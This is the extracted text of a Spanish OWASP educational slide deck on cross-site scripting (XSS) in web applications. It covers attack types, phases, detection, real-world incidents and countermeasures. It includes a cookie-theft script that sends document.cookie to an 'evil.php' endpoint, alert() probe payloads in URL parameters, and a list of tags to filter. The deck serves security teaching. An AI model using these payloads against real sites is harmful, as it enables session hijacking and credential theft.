Ataques XSS en Aplicaciones Web

Anuncio
Ataques XSS en
Aplicaciones Web
Antonio Rodríguez Romero
Consultor de Seguridad
Grupo iSoluciones
[email protected]
OWASP
Education Project
Copyright 2007 © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.
The OWASP Foundation
http://www.owasp.org
Índice
1.
2.
3.
4.
5.
6.
7.
8.
9.
Introducción
Conceptos Básicos
Definición de ataques XSS
Tipos de ataques XSS
Fases de un ataque XSS
Metodologías de ataques XSS
Detectar aplicación web vulnerable a ataques XSS
Ejemplos de ataques XSS
Contramedidas
OWASP
2
Introducción
Cross Site Scripting (XSS)
Las vulnerabilidades de XSS abarcaban cualquier ataque que permita ejecutar
código de "scripting" en el contexto de otro sitio web.
Se pueden encontrar en cualquier aplicación que tenga como objetivo final, el
presentar la información en un navegador web.
Usualmente no se validan correctamente los datos de entrada que son usados en
algunas aplicaciones permitiendo enviar un script malicioso a la aplicación.
Para funcionar necesitan un punto de entrada, que suelen ser los formularios.
A través de un ataque XSS, se puede secuestrar cuentas, cambiar
configuraciones de los usuarios, acceder a partes restringidas del sitio, modificar
el contenido del sitio, etc.
OWASP
3
Conceptos Básicos
Definición: Ataque
Consiste en aprovechar alguna debilidad o vulnerabilidad en el
software, en el hardware, e incluso, en las personas que forman
parte de un ambiente informático; a fin de obtener un beneficio,
causando un efecto negativo en la seguridad del sistema, que
luego repercute directamente en los activos de la organización.
Efectos negativos como:
Denegación de servicio
Ejecutar código arbitrario
Obtener información confidencial
Escalar privilegios
Administrar el sistema
Tomar el control del mismo
Detener o dañar el sistema informático
OWASP
4
Conceptos Básicos
Tipos de Ataques
Según la forma de actuación:
Ataque activo
Ataque pasivo
Según su procedencia:
Interno
Externo
OWASP
5
Conceptos Básicos
Definición: Vulnerabilidad
Hace referencia a una debilidad en un sistema, permitiendo a un
atacante violar la confidencialidad, integridad, disponibilidad, control de
acceso y consistencia del sistema o de sus datos y aplicaciones.
Son el resultado de bugs o de fallos en el diseño del sistema. Aunque,
en un sentido más amplio, también pueden ser el resultado de las
propias limitaciones tecnológicas, porque, en principio, no existe
sistema 100% seguro. Por lo tanto existen vulnerabilidades teóricas y
vulnerabilidades reales.
Las vulnerabilidades en las aplicaciones suelen corregirse con parches o
con cambios de versión. Mientras que algunas otras requieren un
cambio físico en un sistema informático.
OWASP
6
Conceptos Básicos
Definición: Script
Los scripts son un conjunto de instrucciones generalmente almacenadas
en un archivo de texto que deben ser interpretados línea a línea en
tiempo real para su ejecución, se distinguen de los programas, pues
estos deben ser convertidos a un archivo binario ejecutable.
Los scripts pueden estar embebidos en otro lenguaje para aumentar las
funcionalidades de este, como es el caso los scripts PHP o Javascript en
código HTML.
OWASP
7
Definición de ataque XSS
¿En qué consisten?
Es una vulnerabilidad que aprovecha la falta de mecanismos de filtrado
y validación en campos de entrada, permitiendo así el envío de scripts
completos (como Visual Basic Scripts o Java Scripts) con secuencias de
comandos maliciosos que podrían impactar directamente en el sitio web
o en el equipo de un usuario.
Esta limitación se debe a que el código HTML se interpreta en el
navegador de un usuario y no en el servidor. Así que si alguien inyecta
código HTML en alguna aplicación web no podría hacer daño alguno al
servidor, ya que éste nunca interpreta el código HTML, sólo los
navegadores. Por eso este ataque se denomina: ataque del lado del
cliente.
OWASP
8
Definición de ataque XSS
¿En qué consisten?
La explotación del ataque se vale de:
Datos almacenados en servidor desde el cliente
Datos que van a ser visualizados por otros usuarios.
Campos de entradas sin protección y ningún tipo de validación
Los conocimientos del atacante sobre programación HTML y scripting
OWASP
9
Definición de ataque XSS
Riesgos
Navegación dirigida
Phishing
Spyware
Robo de credenciales
Ejecución de acciones automáticas
OWASP
10
Definición de ataque XSS
Recursos para explotar la vulnerabilidad
Formularios de contactos de sitios web
Mensajes en Foros
Firma de libro de visitas
Buscadores
Variables
Correo Web
OWASP
11
Tipos de ataques XSS
Ataques Directos
El ataque de forma directa de XSS (también llamado XSS
persistente), se presenta cuando el atacante consigue embeber
código HTML malicioso, directamente en los sitios Webs que así
lo permiten.
Funciona localizando puntos débiles en la programación de los
filtros de HTML si es que existen, para publicar contenido.
Este tipo de ataques suele ser el más común, y el código del
atacante, se basa en etiquetas HTML (del tipo <frame> o
<script>), entre las cuales incluye el código malicioso.
OWASP
12
Tipos de ataques XSS
Ataques Indirectos
Este tipo de ataques se presenta, cuando el código maligno se inyecta a través
de formularios, a través de los parámetros de una URL, programas en Flash, un
enlace malicioso e incluso vídeos.
Un ejemplo de un XSS indirecto, puede darse a través de un enlace malicioso,
del tipo:
http://www.AppVictima.com/search?p=<script>alert('Hola-mundo')</script>
El resultado muestra una ventana con el texto "hola-mundo".
Esta vulnerabilidad suele ser usada para efectuar robo de sesiones y phishing.
OWASP
13
Fases de un ataque XSS
Fase 1
Fase 2
Fase 3
• Inserción de código HTML: Identificar que código puede
introducir
• Pruebas de Concepto: ¿Qué puede hacer con XSS? Robo
de credenciales, alterar el sitio web, etc.
• Llevar a cabo el daño, robo de credenciales, suplantación
de identidad, envío de emails falsos, identificación de
posibles víctimas, etc.
OWASP
14
Metodologías de ataques XSS
Robo de Cookies
Mediante esta técnica se puede robar sesiones de una manera bastante sencilla. Bastaría
con realizar un script que llamase a una página alojada en nuestro servidor pasándole la
cookie.
<SCRIPT type="text/javascript">
var adr = '../evil.php?cookiemonster=' + escape(document.cookie);
</SCRIPT>
Este Script se colaría en el servidor de la victima aprovechando un punto vulnerable a XSS.
Cuando un usuario se ha validado en el servidor y ejecute el script se envía al servidor el
contenido de la cookie.
Una vez que la página obtiene la cookie (almacenándola por ejemplo en un fichero)
mediante programas como Odysseus, se puede hacer una llamada al servidor pasándole la
cookie original.
Esta cookie es válida para robar la sesión solo mientras el usuario no cierre la sesión.
OWASP
15
Metodologías de ataques XSS
Variables
http://www..../index.html?ofertas=><script>alert(
“VulnerabilidadXSS”)</script>
OWASP
Metodologías de ataques XSS
Buscadores
OWASP
Metodologías de ataques XSS
Páginas de error
OWASP
Detectar aplicación web vulnerable a
ataques XSS
Método
Detectar la vulnerabilidad a través de un formulario:
<script>alert();</script>
Detectar la vulnerabilidad a través de URL:
http://vulnerable.com/index.html?nombre=<script>alert();</script>
OWASP
19
Ejemplos de ataques XSS
Phishing a la banca electrónica
Por mala validación de datos de entrada, un atacante
puede conseguir inyectar código, para realizar el robo
de credenciales y lograr el acceso a cuentas
bancarias.
OWASP
20
Ejemplos de ataques XSS
Presidencia Española de la Unión Europea
Consiguen alterar la
imagen de un
Presidente de Gobierno
con una imagen
errónea, con el fin de
dañar la imagen pública
de un país.
OWASP
21
Ejemplos de ataques XSS
Twitter
Se inyectaba código
Java Script persistente,
a través de un fichero
.js
alojado
en
el
servidor.
El cliente de Twitter no
limpiaba el código que
venía con las URLs
OWASP
22
Ejemplos de ataques XSS
Youtube
Los
atacantes
lograron
inyectar código HTML desde
el área de comentarios en
Youtube.
Los hackers hicieron de todo,
desde forzar mensajes “popup” para que aparecieran en
el sitio , hasta re direccionar
a los usuarios a páginas con
malware.
OWASP
23
Ejemplos de ataques XSS
Facebook
El ataque se basaba en el acceso
a través de Java Scripts, de las
cookies del usuario de Facebook,
logrando re direccionar su
contenido a un servidor web
controlado por el atacante.
Esto permitía al atacante,
acceder a los mensajes privados
de los usuarios, adicionar nuevas
aplicaciones sin autorización,
disponer de las imágenes
privadas de las víctimas, robar la
lista de contactos, etc.
OWASP
24
Contramedidas
Diseño de aplicaciones
Validar todas las entradas de formularios: Se debe verificar que el tipo
de datos y la longitud de cada campo se corresponda con lo esperado.
Se deberá filtrar caracteres especiales que puedan resultar peligrosos
Se deben programar las aplicaciones web, filtrando determinados
comandos. En general en los ataques XSS son usadas etiquetas como
SCRIPT, OBJECT, APPLET, EMBED y FORM.
Envío de mensajes de alerta intimidatorios, cuando se detecte que un
usuario de la aplicación intente un posible ataque.
OWASP
25
Contramedidas
Navegadores del lado cliente
Otra contramedida, que ayuda a mitigar los ataques XSS, evitando que
los usuarios sean víctimas de ellos, es el uso de las versiones más
recientes de navegadores web.
A partir de Internet Explorer 8, cuando se intenta acceder a una página
web que ha sido víctima de un ataque XSS, aparece un mensaje que
avisa de que la página web ha sido modificada, para proteger al usuario
de un posible ataque. Esto es debido a que el filtro Anti XSS de Internet
Explorer ha detectado la manipulación de la página mediante la
inyección de código en un parámetro.
OWASP
26
Muchas gracias
[email protected]
OWASP
27
Descargar